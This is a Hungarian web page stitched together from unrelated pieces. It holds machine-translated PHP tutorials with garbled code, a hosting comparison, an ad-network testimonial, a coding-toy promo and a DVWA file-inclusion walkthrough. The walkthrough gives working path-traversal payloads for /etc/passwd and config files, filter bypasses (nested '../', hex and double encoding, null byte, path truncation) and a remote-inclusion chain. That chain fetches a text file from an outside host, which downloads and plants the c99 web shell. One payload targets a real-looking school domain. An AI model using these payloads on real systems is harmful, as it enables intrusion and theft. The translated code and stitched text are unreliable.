Kitalált php fájl megtekintése. Helyi és távoli fájlinjektálás: a sebezhetőségek kihasználása és a szűrők megkerülése. Kerülje ki a szűrést, ha helyileg tartalmazza a fájlokat

A minták közül az mvc-vel, registry-vel meg voltam elégedve. A kérésekhez írtam egy kis absztrakciós réteget, az útválasztáshoz - saját kéréselemző funkciót.
A webalkalmazás felépítése ilyen lesz

alkalmazás mappa

Az index.php bemeneti fájl tartalmazza a bootstrap.php fájlt. Ez viszont összekapcsolja a kernelt, egy konfigurációs fájlt, néhány könyvtárat, és elindítja az útválasztót.

A Core\Route használata; request_once "lib/registry.php"; request_once "config.php"; request_once "lib/datebase.php"; request_once "core/model.php"; request_once "core/view.php"; request_once "core/controller.php"; request_once "core/route.php"; $router = new Route(); $router->start(); //indítsa el a routert

A nyilvántartás egyszerű:

Névtér Lib; class Lib_Registry ( statikus privát $adat = tömb(); statikus nyilvános függvénykészlet($kulcs, $érték) ( self::$data[$key] = $érték; ) statikus nyilvános függvény get($kulcs) ( return isset( self::$data[$key]) ? self::$data[$key] : null ) static public function remove($key) ( if (isset(self::$data[$key])) ( unset (self::$adat[$kulcs]);

Itt vannak a globális értékek tárolására szolgáló getterek és setterek.

Használja a Lib\Lib_Registry;

define("PATH_SITE", $_SZERVER["DOCUMENT_ROOT"]); define("HOST", "localhost"); define("USER", "root");

define("PASSWORD", "mypass");

Mivel a jövőben egy adminisztrációs panel létrehozását tervezzük, létrehozzuk a kliens és a rendszergazdai mappákat. A routerünk egyébként figyelembe veszi az almappákat, pl. lehetőség lesz almappák létrehozására a vezérlőkben (pl. /about/contacts/contacts.php) és elérése a /about/contacts/ útvonalon
Tehát elindítottuk a routert

/** * */ public function start() ( // AJAX kérés elkapása if ($this->getIsAjaxRequest()) ( ) session_start(); $this->dispatch(); ) /** * */ public function dispatch())( // a diszpécser egy fájlt kap, amely megegyezik a vezérlő nevével, a művelettel és az argumentumokkal $this->getDirections($file, $controller, $action, $args); /* ******* ***** * include Controller - Model */ if (is_readable($file) == false) ( die ("$404 fájl nem található"); ) // tartalmazza a vezérlőt include ($model =). str_replace("controller" , "model", $file); // Model extra if(is_readable($model))( // csatlakoztassa a modellt include($model); ) /* ****** az osztály lekérése ** */ $controller = ucfirst($controller) $class = ucfirst($this->namespace)."\Controller_" // példány létrehozása $controller = new $class($this->controller_path_folder); ); if (is_callable(array( $controller, $action)) == false) ( die ("Action $action 404 Not Found"); ) // a művelet meghívása $controller->$action($args)

A diszpécser meghívja a getDirections() metódust, azaz. kérési utasításokat kap. Alapértelmezés szerint az alapértelmezett vezérlő a cikkek, a művelet az index.

/** * @param $file * @param $controller * @param $action * @param $args */ privát függvény getDirections(&$file, &$controller, &$action, &$args) ( $route = ( üres($_SERVER["REQUEST_URI"])) ? "" : $_SERVER["REQUEST_URI"]; = $this->path if (üres($útvonal)) ( /* ******************* Alapértelmezett útvonalak ******** */ $; vezérlő = "cikkek"; $action = "action_index"; $vezérlő_útvonal = "alkalmazás/vezérlők/$ez->névtér/" $fájl = $vezérlő_útvonala..php; else ( $parts = explode("/", $route); /* ************** névtér *********** */ if($parts = = "admin") ( $this->namespace = "admin"; array_shift($parts); ) /* ***************** mappák és almappák ***** * * */ $teljes elérési út = $ez->vezérlő_útvonala = $vezérlő_útvonala . $alkatrészek);

folytatni;

) if (is_file($fullpath . ".php")) ( array_shift($parts); $file = "$fullpath.php"; break; ) ) /* ************* ** Controller, Action, Params ******** */ if(!isset($part)) $part = "cikkek";

$vezérlő = $alkatrész;
if(!$file) $file = $fullpath."/$part.php";

$művelet = array_shift($parts);

if(!$action) $action = "action_index";

else $action = "action_$action";

A legtöbb webhely-felhasználó Linux vagy Windows operációs rendszert használ. Ennek az üzemidőhöz van köze. Mindkét platform biztosítja, hogy webhelye az esetek 99%-ában fent legyen.

1.Testreszabás

Az egyik fő különbség a Linux viszonteladói tárhelyterv és a az egy a Windows által biztosított testreszabásról szól. Bár többféle módon kísérletezhet mindkét lejátszóval, a Linux sokkal testreszabhatóbb, mint a Windows. Ez utóbbi több funkcióval rendelkezik, mint társa, ezért sok fejlesztő és rendszergazda nagyon ügyfélbarátnak találja a Linuxot.

2. Alkalmazások

A különböző viszonteladói tárhelyszolgáltatások eltérő alkalmazásokkal rendelkeznek. A Linuxnak és a Windowsnak is megvan a maga alkalmazási tömbje, de az utóbbi előnyt jelent a számok és a sokoldalúság terén. Ennek köze van a Linux nyílt forráskódú természetéhez. Bármely fejlesztő feltöltheti alkalmazását a Linux platformra, és ez vonzó tárhelyszolgáltatóvá teszi webhelytulajdonosok milliói számára.

Azonban vegye figyelembe, hogy ha Linuxot használ webtárhelyként, ugyanakkor Windows operációs rendszert használ, előfordulhat, hogy egyes alkalmazások egyszerűen nem működnek.

3.Stabilitás

Bár mindkét platform stabil, a Linux viszonteladói tárhely a kettő közül stabilabb. Nyílt forráskódú platformként több környezetben is működhet. Ez a platform időnként módosítható, fejleszthető.

4. .NET kompatibilitás

Nem arról van szó, hogy a Linux minden lehetséges módon jobb a Windowsnál. Ha a .NET-kompatibilitásról van szó, a Windows ellopja a rivaldafényt. Webes alkalmazások könnyen fejleszthetők Windows hosting platformon.

5. Költségelőnyök

Mindkét hosting platform megfizethető. De ha úgy érzi, pénzhiány, akkor válassza a Linuxot. Ingyenes, és ezért választja olyan sok fejlesztő és rendszer rendszergazdák a világ minden tájáról.

6. Könnyű beállítás

A Windows beállítása könnyebb, mint a megfelelője. Mindent összevetve a Windows még mindig megőrzi felhasználóbarát jellegét ezekben az években.

7. Biztonság

Válaszd a Linux viszonteladói tárhelyet, mert az biztonságosabb, mint a Windows. Ez különösen igaz azokra az emberekre, akik e-kereskedelmi vállalkozásukat vezetik.

Következtetés

Választás a kettő közöttaz Ön igényeitől és a költségrugalmasságtól függ. Mindkét hosting szolgáltatásnak egyedi előnyei vannak. Míg a Windows telepítése egyszerű, a Linux költséghatékony, biztonságos és sokoldalúbb.



Még idén márciusban volt egy nagyon rossz tapasztalatom egy médiacéggel, amely nem volt hajlandó fizetni nekem és válaszolni az e-mailjeimre. Még mindig több ezer dollárral tartoznak nekem, és a düh érzése átjár minden nap. Kiderült azonban, hogy nem vagyok egyedül, és több száz másik webhelytulajdonos is ugyanabban a csónakban van. Ez egyfajta kurzus a digitális reklámozással.

Őszintén szólva, régóta van ez a blogom, és a múltban különböző hirdetési hálózatokon ugráltam. Miután eltávolítottam a hirdetési egységeket attól a cégtől, amely megmerevített, visszatértem az elsőhöz. Azt is meg kell jegyeznem, hogy Soha nem szerettem a Google AdSense termékét, csak azért, mert a vizuális hirdetések „hordójának alja” nem minőségi, hanem bevételi szempontból.

Ha jól értem, Ön azt szeretné, hogy a Google hirdetései megjelenjenek a webhelyén, de más nagy cégek és ügynökségek is ezt szeretnének tenni. Így maximalizálja a keresletet és a bevételt.

Negatív tapasztalataim után a Newor Media nevű céget ajánlottam. És ha őszinte akarok lenni, eleinte főleg azért nem adtak el, mert nem találtam róluk sok információt. Találtam pár tisztességes véleményt más oldalakon, és miután beszéltem valakivel, úgy döntöttem, hogy kipróbálom. Azt mondom, hogy SZUPER segítőkészek. Minden hálózat, amivel valaha is dolgoztam, elég rövid volt a válaszok és az indulás szempontjából, és ez nagyon biztató volt.

Néhány hónapja futtatom a hirdetéseket, és a bevételek nagyjából megegyeznek azzal, amit a másik cégnél kerestem. Szóval nem igazán tudom megmondani, hogy sokkal jobbak-e, mint mások, de hogy hol tűnnek ki ez az a pont, amire nagyon szeretnék rávilágítani. A velük folytatott kommunikáció nem olyan, mint bármely más hálózat, amelyen valaha is dolgoztam. Itt van egy eset, amikor valóban különböznek:

Időben tolták nekem az első fizetést Paypallal. De mivel nem vagyok az Egyesült Államokban (és ez szerintem mindenkivel megtörténik), ezért a Paypaltól levontak egy díjat. E-mailt küldtem a képviselőmnek, és megkérdeztem, van-e mód ennek elkerülésére a jövőben.

Azt mondták, hogy nem kerülhetik el a díjat, hanem hogy MINDEN DÍJOT VISSZAFIZETENEK.... A LEGÚJABB BIZTOSÍTÁST BELEÉRTVE! Nem csak ez, de a költségtérítés 10 PERCEN belül megérkezett! Mikor volt már képes ilyen kérést benyújtani anélkül, hogy a „pénzügyi osztályra” kellett volna küldenie, hogy aztán soha ne válaszoljanak rá.

A lényeg az, hogy szeretem ezt a társaságot. Lehetséges, hogy máshol többet tudnék készíteni, nem igazán vagyok benne biztos, de van egy kiadójuk egy életre. Nem vagyok egy hatalmas oldal, és nem termelek sok bevételt, de úgy érzem, nagyon fontos ügyfél, amikor beszélek velük, ez egy leheletnyi friss levegő egy olyan iparágban, amely megérett a csalásra és a nem reagálásra.

A Raspberry Pi Alapítvány által 2012-ben megalkotott mikroszámítógépek rendkívül sikeresek voltak a kisgyermekek kreativitásának felkeltésében, és ez az egyesült királyságbeli székhelyű vállalat olyan programokat kezdett kínálni, amelyek megtanulják a kódolást, mint például a pi-top és a Kano. Most van egy új startup, amely a Pi elektronikát használja, és az eszköz Pip néven ismert, egy kézi konzol, amely érintőképernyőt, több portot, vezérlőgombokat és hangszórókat kínál. Az eszköz mögött az az ötlet, hogy a fiatalabb egyéneket bevonja egy retro játékeszközzel, amely egy webalapú platformon keresztül kódtanulási élményt is kínál.

A Pip mellett kínált csodálatos szoftverplatform lehetőséget kínál arra, hogy elkezdjük a kódolást Python, HTML/CSS, JavaScript, Lua és PHP nyelveken. Az eszköz lépésenkénti oktatóanyagokat kínál, amelyek segítségével a gyerekek elkezdhetik a kódolást, és lehetővé teszi számukra, hogy még LED-eket is villogtassanak. Bár a Pip még egy prototípus, minden bizonnyal óriási siker lesz az iparágban, és bevonja a kódolás iránt érdeklődő gyerekeket, és biztosítja számukra a szükséges oktatást és erőforrásokat ahhoz, hogy fiatalon elkezdhessék a kódolást.

A kódolás jövője

A kódolásnak nagy jövője van, és még ha a gyerekek nem is karrierként használják a kódolást, akkor is hasznot húzhatnak abból, ha megtanulják a kódolást ezzel az új eszközzel, amely minden eddiginél egyszerűbb. A Pip segítségével még a legfiatalabb kódolásrajongók is megtanulhatnak különböző nyelveket, és jó úton haladnak saját kódok, saját játékok, saját alkalmazások és egyebek létrehozása felé. Ez az elektronikus korszak jövője, és a Pip lehetővé teszi a kódolás alapvető építőelemeinek elsajátítását.
A számítástechnika az oktatás fontos részévé vált, és az olyan eszközökkel, mint az új Pip, a gyerekek otthoni, szórakozás közben fejleszthetik oktatásukat. A kódolás messze túlmutat a webhelyek vagy szoftverek egyszerű létrehozásán. Használható a város biztonságának fokozására, az orvosi kutatások segítésére és még sok másra. Mivel ma egy olyan világban élünk, amelyet a szoftverek uralnak, a kódolás a jövő, és fontos, hogy minden gyermek legalább alapvető ismeretekkel rendelkezzen a működéséről, még akkor is, ha soha nem használja ezeket a készségeket karrierként. A jövő szempontjából a kódolás a mindennapi élet kritikus eleme lesz. Ez lesz a világ nyelve, és a számítógépek vagy azok működésének nem ismerete ugyanolyan nehezen leküzdhető kihívásokat jelenthet, mint az analfabéta.
A kódolás jelentős változásokat fog hozni a játékvilágban is, különösen ami az online szerencsejátékot illeti, beleértve az online kaszinókhoz való hozzáférést is. Ha látni szeretné, hogy a kódolás miként javította már a játékvilágot, vessen egy pillantást néhány legjobban értékelt kaszinóoldalra, amelyek kódolásra támaszkodnak. Vessen egy pillantást, és nézze meg, hogy a kódolás hogyan tud valósághű online környezetet bemutatni.

Hogyan köti le Pip a gyerekeket

Amikor a kódolás elsajátításának lehetőségéről van szó, a gyerekeknek sok lehetőségük van. Számos eszköz és hardver-gizmos megvásárolható, de Pip más megközelítést alkalmaz az eszközükhöz. Az eszköz és az érintőképernyő hordozhatósága előnyt jelent a piacon lévő többi kódolóeszközhöz képest. A Pip a Raspberry Pi HAT rendszeren kívül teljes mértékben kompatibilis lesz az elektronikus alkatrészekkel is. A készülék szabványos nyelveket használ és alapvető eszközökkel rendelkezik, és tökéletes eszköz minden kezdő kódoló számára. A cél az, hogy minden akadályt elhárítsunk az ötlet és az alkotás között, és az eszközöket azonnal használhatóvá tegyük. A Pip másik nagy előnye, hogy SD kártyát használ, így monitorhoz és egérhez csatlakoztatva asztali számítógépként is használható.
A Pip eszköz segíti a gyerekeket és az érdeklődő kezdő kódolókat, akik lelkesedéssel tanulnak és gyakorolnak kódolást. Azáltal, hogy a feladatvégzés és a problémák megoldására való trükközés kombinációját kínálja, az eszköz minden bizonnyal leköti a fiatalabb generációt. Az eszköz ezután lehetővé teszi ezeknek a fiatal kódolóknak, hogy fejlettebb kódolási szintekre lépjenek különböző nyelveken, mint például a JavaScript és a HTML/CSS. Mivel az eszköz egy játékkonzolt reprodukál, azonnal leköti a gyerekek figyelmét, és arra készteti őket, hogy fiatalon megtanulják a kódolást. Néhány előre feltöltött játék is tartozik hozzá, hogy megőrizze a figyelmet, mint például a Pac-Man és a Minecraft.

Jönnek az innovációk

A jövőbeli innováció nagymértékben függ a gyermek jelenlegi kódolási képességétől és a folyamat általános megértésétől. Ahogy a gyerekek korán megtanulnak kódolni olyan eszközök használatával, mint az új Pip, elsajátítják azokat a készségeket és ismereteket, amelyekkel a jövőben csodálatos dolgokat hozhatnak létre. Ez lehet új játékok vagy alkalmazások bevezetése, vagy akár olyan ötletek, amelyek életre kelhetnek az orvosi kutatások és kezelések elősegítésére. A lehetőségek végtelenek. Mivel a jövőnket a szoftverek és a számítógépek irányítják, fiatalon kezdeni a legjobb út, ezért az új Pip a fiatalok számára készült. Azáltal, hogy olyan konzoleszközt kínálunk, amely képes játszani, miközben kódolási készségeket tanít, a társadalom fiatal tagjai jó úton haladnak afelé, hogy a jövőben olyan szoftverek készítőivé váljanak, amelyek mindannyiunk életét megváltoztatják. Ez még csak a kezdet, de ezt gyerekek milliói kezdik el megtanulni és elsajátítani szerte a világon. Az olyan eszközök használatával, mint a Pip, lefedik a kódolás alapjait, és a gyerekek gyorsan megtanulják a különböző kódolási nyelveket, amelyek elképesztő utakra vezethetnek a felnőttkorba lépve.

PHP

file_exists("teszt.txt")//Létezik a fájl? filesize("test.txt");//A fájl méretének megállapítása //Az időbélyeg visszaadásra kerül: fileatime("test.txt");//A fájlhoz való utolsó hozzáférés dátuma //date("d M Y" , $atime); filemtime("teszt.txt");//A fájl módosításának dátuma //date("d M Y", $mtime); filectime("teszt.txt");//Fájl létrehozásának dátuma (Windows) //date("d M Y", $ctime);

Fájlok: működési módok

PHP

erőforrás fopen (karakterlánc fájlnév, karakterlánc mód) // erőforrás - siker esetén mutatót ad vissza a fájlra, hiba esetén pedig FALSE-t
Üzemmód Leírás
r csak olvasható fájl megnyitása;
r+ nyissa meg a fájlt olvasáshoz és íráshoz;
w nyissa meg a fájlt csak írásra. Ha létezik, akkor a fájl aktuális tartalma megsemmisül. Az aktuális pozíció az elejére van állítva;
w+ nyissa meg a fájlt olvasáshoz és íráshoz. Ha létezik, akkor a fájl aktuális tartalma megsemmisül. Az aktuális pozíció az elejére van állítva;
A nyissa meg a fájlt íráshoz. Az aktuális pozíció a fájl végére van állítva;
a+ nyissa meg a fájlt olvasáshoz és íráshoz. Az aktuális pozíció a fájl végére van állítva;
b feldolgozza a bináris fájlt. Ez a jelző akkor szükséges, ha bináris fájlokkal dolgozik Windows rendszeren.

Fájlok megnyitása és bezárása PHP-ben

PHP

$fi = fopen("teszt.html", "w+") vagy die("Hiba"); //Példák $fi = fopen("http://www.you/test.html","r"); $fi = fopen("http://ftp.you/test.html", "r"); //Fclose bezárása($fi)

Fájlok olvasása PHP-ben

PHP

//Fájl olvasása fread(int fi, int hosszúság) $str = fread($fi, 5); // Az első 5 karakter beolvasása echo $str;

// mivel a kurzor elmozdult $str = fread($fi, 12); // A következő 12 karakter beolvasása echo $str; fgets(int fi[, int hosszúság]) // Sor olvasása fájlból fgetss(int fi, int hossza [, megengedett karakterlánc]) // Olvasson egy sort egy fájlból, és dobja el a HTML-címkéket // karakterlánc megengedett - olyan címkék, amelyek meg kell hagyni fgetc(int fi) //Karaktert beolvas egy fájlból Kezdetben az írás a fájl elején történik, a meglévő adatok felülírásával, ha vannak ilyenek. Ezért ha valamit a fájl végére kell írni, akkor be kell állítani a megfelelőt olvasási mód

például a+ .

PHP

Kurzor manipuláció PHP fájlokban

int fseek(int fi, int offset [, int honnan]) //A kurzor beállítása // int fi - mutató a fájlra //eltolás - mozgatandó karakterek száma. //honnan: //SEEK_SET - a mozgás a fájl elejétől kezdődik; //SEEK_CUR - a mozgás az aktuális pozícióból indul; //SEEK_END - a mozgás a fájl végétől kezdődik. fseek($fi, -10, SEEK_END); //Az utolsó 10 karakter olvasása $s = fread($fi, 10); $pos = ftell($fi); //Az aktuális pozíció megkeresése rewind($f)//a kurzor visszaállítása bool feof($f) //fájl vége

PHP

tömbfájl(karakterlánc fájlnév) // A fájl tartalmának lekérése tömb formájában // Egy másik lehetőség az adatokkal való közvetlen munkavégzéshez file_get_contents(string filename) // Olvasás (a teljes fájl lekérése egy sorban) // Írás ide a fájl (kezdetben felülírva) file_put_contents(karakterlánc fájlnév, vegyes adat[,int flag]); //FILE_APPEND // Írd a fájl végére: file_put_contents("test.txt", "data", FILE_APPEND); //Ha tömböt írsz, $array = array("I", "live"); file_put_contents("teszt.txt",$tömb); //akkor megkapjuk az "Ilive"-t

Fájlok kezelése php-ben

PHP

copy(karakterlánc forrása, karakterlánc célhelye); // A fájl másolása rename(str oldname, str newname); // A fájl átnevezése unlink(string filename); // Fájl törlése

Fájlok feltöltése PHP szerverre

//PHP.ini beállítások file_uploads (on|off) // fájlfeltöltés engedélyezése vagy letiltása upload_tmp_dir // ideiglenes mappa a feltöltött fájlok számára. alapértelmezés szerint ideiglenes mappa upload_max_filesize (alapértelmezett = 2 Mb) // max. feltöltési fájl mérete post_max_size // a beküldött űrlap teljes mérete (nagyobbnak kell lennie, mint az upload_max_filesize) // Egyszerű feltöltés

HTML

A szerveren lévő fájlokkal való munka

PHP

//Adatok elfogadása $tmp = $_FILES["felhasználói fájl"]["tmp_name"]; $név = $_FILES["felhasználói fájl"]["név"]; //A fájl áthelyezése move_uploaded_file($tmp, név); move_uploaded_file($tmp, "feltöltés/".név); // a fájl átirányítása a feltöltési mappába // az aktuális fájlhoz viszonyítva // Mi van a $_FILES tömbben $_FILES["felhasználói fájl"]["név"] // fájlnév, például teszt.html $_FILES[ "userfile"][" tmp_name"] // ideiglenes fájlnév (elérési út) $_FILES["userfile"]["size"] // fájlméret $_FILES["felhasználói fájl"]["típus"] // fájltípus $ _FILES["felhasználói fájl"] ["hiba"] // 0 - nincs hiba, szám - igen

Néha a fájlbefecskendezést befogadásnak nevezik, néha a PHP injekció (kódinjektálás) részének tekintik. Ez utóbbi nem teljesen igaz, mivel a fájlbefecskendezési sebezhetőségek nem feltétlenül a kódfuttatáshoz kapcsolódnak.

A biztonsági rés akkor fordulhat elő (PHP-ban) kifejezések használatakor, mint például:

  • igényel_egyszer,
  • include_once,
  • tartalmazza,
  • igényelnek

Mindegyiknek vannak apró árnyalatai, de közös bennük, hogy egy fájlt tartalmaznak a programban, és végrehajtják azt. Ezek a kifejezések problémákat okozhatnak, ha átadják a felhasználói bevitelt, és a program nem szűri ki eléggé.

Egyébként igen, ezek kifejezések, nem függvények. Nem kötelező így írni:

Require("somefile.php");

Egy előnyösebb lehetőség a következő:

Szükséges a "somefile.php";

De ez egy visszavonulás, aminek semmi köze a sebezhetőséghez.

Ha a fájlok szerepelnek a szükséges_egyszer, include_once, include, demand kifejezésekkel, akkor azt mondhatjuk, hogy a kódbefecskendezés is egyidejűleg megtörténik. Lehetőség van azonban fájlok beillesztésére anélkül, hogy kód futna a szerveren. Például a webhely megváltozik megjelenés a felhasználó által választott téma alapján. A témák neve megegyezik a szerveren olvasott HTML-fájlok nevével. Ebben a helyzetben, ha a kérés úgy van kialakítva, hogy egy nem erre szánt fájlt (például egy PHP fájlt) olvasson, akkor a parancsok végrehajtása helyett megjelenik forráskód PHP.

A felhasználó megadhat egy távoli vagy helyi fájlt felvételi fájlként. Ennek alapján két megfelelő fajtát különböztetünk meg:

  • helyi fájl injekció
  • távoli fájl injekció

A távoli beillesztés veszélye tetszőleges kód futtatása egy sérülékeny szerveren. Ezt általában hátsó ajtó fertőzések esetén használják.

A helyi fájlbefecskendezés veszélye, hogy a felhasználó olyan fájlok tartalmát jelenítheti meg, amelyek megtekintésére nincs jogosultsága (programforráskódok, rendszerfájlokat beállításokkal és jelszavakkal). Helyi beillesztéssel lehetőség van harmadik féltől származó kód futtatására is (például hátsó ajtó fertőzéshez), ha korábban rosszindulatú kódot tartalmazó fájlt töltöttek fel a szerverre, vagy naplómérgezési módszert alkalmaztak, vagy más módszereket.

A fájlok helyi felvétele nem kevésbé veszélyes, mint a távoli fájlok bevezetése.

Helyi fájlbeágyazás kihasználása

Kipróbálhatja ezt a biztonsági rést a Damn Vulnerable Web Application (DVWA) alkalmazásban. Web Security Dojo-t használok, ahol a DVWA már telepítve van.

Kezdjük alacsony szintről ( alacsony DVWA biztonság).

Lépjünk a Fájlbefoglalás oldalra: http://localhost/dvwa/vulnerabilities/fi/?page=include.php

  • http://localhost/dvwa/vulnerabilities/fi/?page=file1.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file2.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file3.php

Ha egy fájlnévhez hasonló értéket (fájl1.php, fájl2.php) adunk át argumentumként egy változóhoz, akkor feltételezhetjük, hogy egy include-ot használunk. Mivel a fájl kiterjesztése .php, akkor nagy valószínűséggel a fájl a szerveren fut (azaz lehetséges a kódbefecskendezés), és nem csak megjelenítésre jelenik meg.

A DVWA-nak van egy http://localhost/dvwa/about.php oldala, két szinttel feljebb található, próbáljuk meg így nézni: http://localhost/dvwa/vulnerabilities/fi/?page=../. ./ kb.php

Igen, van egy helyi befogadási rés. Belépéskor a felső könyvtárakba való átmenetek nem szűrhetők ( ../ ), a beillesztendő fájlok listája nem teljes (a javasolt fájl*.php helyett az about.php fájlt választottuk).

Néha a rendszer tartalmaz fájlokat is, de a címek például így nézhetnek ki: http://localhost/dvwa/vulnerabilities/fi/?page=file1. Ebben az esetben kiterjesztés adható a szkripthez, és a szkript beágyaz egy fájlt, amelynek neve végül a szkriptben alakul ki. Általában egy sérülékenységet ebben a formában nehéz/lehetetlen kihasználni.

Az emberek gyakran szeretnek valami ehhez hasonlót hozni példaként a helyi fájlbefoglalás kihasználására:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd

Amint látjuk, működött. De mivel a webböngészők figyelmen kívül hagyják az /r/n-t (a karaktereket új vonal), akkor meg kell nyitnunk a forráskódot, hogy a bejegyzések olvashatóak legyenek:

Sajnos az /etc/passwd fájlban sokáig nincsenek jelszavak.

A szerverről különféle beállítási fájlokat, SSL-tanúsítványokat húzhat le, elvileg minden olyan fájlt, amely minden felhasználó számára nyitva áll olvasásra, vagy amelyhez a webszervernek elegendő olvasási joga van:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/apache2/apache2.conf

Ami a megosztott tárhelyet illeti, néha belenézhet mások mappáiba (ismét, mikor helytelen beállítás felhasználói jogok).

http://localhost/dvwa/vulnerabilities/fi/?page=../../../evil/sqlite.db

A feladatot nehezíti, hogy ismernünk kell a fájl elérési útját.

Távoli fájlinjektálás működése

A PHP egy nagyon rugalmas és fejlesztőbarát programozási nyelv. A fájlbeágyazási parancsok és mások tökéletesen felismerik és helyesen dolgozzák fel nemcsak a helyi fájlokat, hanem az URL-eket is...

Próbáljuk meg a webhely URL-jét https://site/ beírni a fájlnév helyett:

http://localhost/dvwa/vulnerabilities/fi/?page=https://site/

Nézze, milyen érdekesnek bizonyult:

A következő történt: a PHP értelmező parancsot kapott a https://site/ fájl/hely szerepeltetésére. Megnyitotta/letöltötte a megfelelő címet, és a kapott kódot elküldte PHP programként futtatásra. Mivel a PHP csak a megfelelő címkékkel körülvett kódot hajtja végre (jelen esetben nem volt kód), és minden mást úgy ad ki, ahogy van, a teljes webhelyoldal úgy kerül kiadásra, ahogy van.

Természetesen ez a biztonsági rés nem azért érdekes számunkra, mert egy webhelyen keresztül más oldalakat is megtekinthetünk.

  1. A hátsó ajtó forráskódjának előállítása/keresése
  2. Megalkotjuk a nézőpontból a megfelelőt PHP fájl olyan szerveren kell végrehajtani, amely a hátsó ajtó forráskódját egy PHP fájlban tárolja
  3. Mentse el a kapott kódot SZÖVEG fájlba
  4. Töltse fel ezt a szöveges fájlt egy ellenőrzött szerverre
  5. A hátsó ajtónkat egy sebezhető szerverre mentjük távoli fájlbeillesztés segítségével

A „szöveg” szót azért emeltem ki, mert az irányításunk alatt álló szerveren legyen olyan szöveges fájl, amelyet nem szabad a szerverünkön végrehajtani. Szerverünknek csak a tartalmát kell megjelenítenie.

Hátsóajtó létrehozásához használhatja a Weevely-t, a PhpSploitot, vagy használhat kész megoldásokat. Ezúttal egy készet használjunk.

A $backdoor változóhoz hozzárendelem a backdoor forráskódját, amit a Githubról töltök le. Ezután a file_put_contents függvénnyel elmentem a kapott forráskódot a c99unlimited.php fájlba.

A kód, amit beküldtem szöveges fájl

$backdoor = file_get_contents("https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php"); file_put_contents("c99unlimited.php", "$backdoor"); echo "kész!";

Elérhető a http://miloserdov.org/sec.txt címen

Most egy távoli beágyazó segítségével feltöltünk egy hátsó ajtót egy sebezhető szerverre.

http://localhost/dvwa/vulnerabilities/fi/?page=http://miloserdov.org/sec.txt

Figyeld a felirat kész!, azt a script megjeleníti, i.e. valószínűleg minden sikerült.

Mivel a fájlokat tartalmazó szkript a http://localhost/dvwa/vulnerabilities/fi/ könyvtárban található, és a hátsó ajtót tartalmazó új fájlunkat c99unlimited.php néven kellett volna elmenteni, a hátsó ajtó teljes címe a sebezhető szervernek a következőnek kell lennie: http://localhost/dvwa/vulnerabilities/fi/c99unlimited.php

Ellenőrizzük:

Remek! Mostantól minden olyan funkció elérhető, amelyre a webszerver rendszergazdájának szüksége lehet... és azoknak, akik hozzáférhetnek a szerverükhöz.

Kerülje ki a szűrést, ha helyileg tartalmazza a fájlokat

Menjünk tovább a középső szintre ( közepes) biztonság (beállítható DVWA biztonság).

Ha megnézzük a forráskódot (button Forrás megtekintése):

akkor látni fogjuk, hogy most a szimbólumok ../ szűrjük. Ez megakadályozza, hogy a sérülékeny szkript futottnál magasabb könyvtárba lépjen.

Azok. semmi sem fog így működni:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/mysql/my.cnf

Gondoljuk végig, hogy ebben az esetben hogyan működik a szűrés? Tegyük fel, hogy a „rossz” szót kiszűrjük, majd egy hasonló sort

jó rossz jó

szűrés után így fog kinézni:

jó jó

És ha beszúr egy ilyen sort

rossz rossz xo

majd szűrés után (a „rossz” el lesz távolítva) kiderül

Rosszul

IN ../ ismét a közepére ragasztjuk ../ , kiderül …/./

Próbáljuk meg ezt a címet: http://localhost/dvwa/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/mysql / my.cnf

Sikerült!

Egy másik megoldás lehet a karakterek hexadecimális kódolásba való kódolása, egy példa erre a sorra:

http://example.com/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd

"../" helyettesíthető "%2E%2E%2f"-re.

A dupla hexadecimális kódolást is gyakorolják, amelyben a „../” helyett „%252E%252E%252F”

Fájlok helyi felvétele kiterjesztés hozzáadásakor a szkripthez

Ha a fájlokat tartalmazó kód így néz ki:

Azok. Ha bármely felhasználói bevitelhez .php vagy más kiterjesztést adunk, ez nem teszi lehetővé, hogy a kérés támadást hajtson végre.

Számos technika létezik a kiterjesztés elvetésére, de ezek elavultnak tekinthetők, mivel PHP 5.3-on működnek, és még akkor sem minden verzión. A webszerver-adminisztrátorok azonban klinikailag konzervatívak, és inkább nem nyúlnak semmihez, ha működik. Azok. lehetőség találkozni egy szerverrel egy nagyon régi PHP verzió vannak, és tudnia kell ezekről a technikákról.

A %00 nullbájt használata (null byte)

A kérés végén egy null bájt kerül hozzáadásra a kiterjesztés figyelmen kívül hagyásához:

http://www.bihtapublicschool.co.in/index.php?token=/etc/passwd%00

A második módszert útmetsző támadásnak nevezik. A lényeg az, hogy a PHP levágja a 4096 bájtnál hosszabb elérési utakat. Ebben az esetben a PHP megfelelően nyitja meg a fájlt, még akkor is, ha a neve végén perjelek és pontok vannak. Ha valami ilyesmit adsz át paraméterként:?param1=../../../../etc/passwd/./././././<…>(ahol a ./ sok ezerszer ismétlődik), majd a fájl vége a kiterjesztéssel együtt (amit a szkript hozzáadott, aminek eredményeként a fájlnév tartalmazza:/../../../.. /etc/passwd/././.<…>.php) el lesz vetve. És a fájl neve tartalmazza:/../../../../etc/passwd/./././././<…>. És mivel a PHP-t nem keverik össze a perjelek és a ./ a fájl végén, egyszerűen figyelmen kívül hagyja őket, így a PHP összesen a következő útvonalon nyitja meg a fájlt:/../../../../etc/ passwd.

Szűrés megkerülése távoli fájlbefecskendezéshez

Ahogy a forráskódban már láttuk, a közepes biztonsági szint a http:// és https:// címeket is kiszűri.

Most http://localhost/dvwa/vulnerabilities/fi/?. Pontosan ugyanazt a technikát fogjuk alkalmazni, mint a szűrés megkerülésére a helyi beillesztéssel. Generált kérés:

http://localhost/dvwa/vulnerabilities/fi/?page=htthttps://ps://site/

És azt is vegye figyelembe, hogy például nincs szűrve ftp, azaz Ez az opció minden trükk nélkül működne:

http://localhost/dvwa/vulnerabilities/fi/?page=ftp://site/

A PHP-szkriptek forráskódjának beszerzése a php://filter-ből származó fájlok felvételekor

Ez a trükk nem igényel távoli fájl felvételt. Valamilyen metaburkolót fognak használni php://szűrő.

Tegyük fel, hogy látni szeretnénk a file1.php fájl forráskódját, akkor a mi helyzetünkre a kérés a következőképpen áll össze:

